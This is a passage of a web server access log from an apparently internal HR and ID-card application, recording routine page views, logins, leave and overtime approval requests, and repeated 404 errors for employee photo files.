/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 192.168.11.146 - - [02/Dec/2025:11:27:24 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 11337 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:24 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 11337 192.168.11.146 - - [02/Dec/2025:11:27:26 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 17262 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:26 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 17262 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250989.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250989.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250990.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250990.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250992.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250992.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250991.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250991.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250993.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250993.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250994.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250994.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250995.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250995.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250996.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250996.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250997.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:27:27 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250997.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250989.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250989.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250990.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250990.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250991.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250991.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250992.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250992.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250993.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250993.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250994.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250994.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250995.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250995.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250996.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250996.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250997.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250997.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250989.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250989.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250990.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250990.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250991.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250991.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250992.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250992.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250993.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250993.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250994.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250994.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250995.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250995.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250996.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250996.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250997.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250997.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250989.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250989.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250990.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250990.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250991.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250991.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250992.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250992.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250993.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250993.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250994.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250994.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250995.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250995.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250996.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250996.jpg HTTP/1.1" 404 244 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250997.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [02/Dec/2025:11:27:36 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250997.jpg HTTP/1.1" 404 244 192.168.11.60 - - [02/Dec/2025:11:28:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:28:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:11:28:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 6702 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:28:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 6702 192.168.11.60 - - [02/Dec/2025:11:28:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:28:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:11:29:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:11:29:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:11:29:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 7256 192.168.11.60 - - [02/Dec/2025:11:29:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:11:29:08 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:08 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 192.168.11.60 - - [02/Dec/2025:11:29:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:21 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:29:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116 192.168.11.60 - - [02/Dec/2025:11:29:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.60 - - [02/Dec/2025:11:29:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 19207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 19207 192.168.11.60 - - [02/Dec/2025:11:29:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 19207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 19207 192.168.11.60 - - [02/Dec/2025:11:29:40 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 5567 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:40 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 5567 192.168.11.60 - - [02/Dec/2025:11:29:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116 192.168.11.60 - - [02/Dec/2025:11:29:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.60 - - [02/Dec/2025:11:29:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12103 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:29:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12103 192.168.139.16 - - [02/Dec/2025:11:30:07 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:07 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:07 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [02/Dec/2025:11:30:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.139.16 - - [02/Dec/2025:11:30:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 122052 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 122052 192.168.139.16 - - [02/Dec/2025:11:30:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [02/Dec/2025:11:30:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.139.16 - - [02/Dec/2025:11:30:23 +0800] "GET 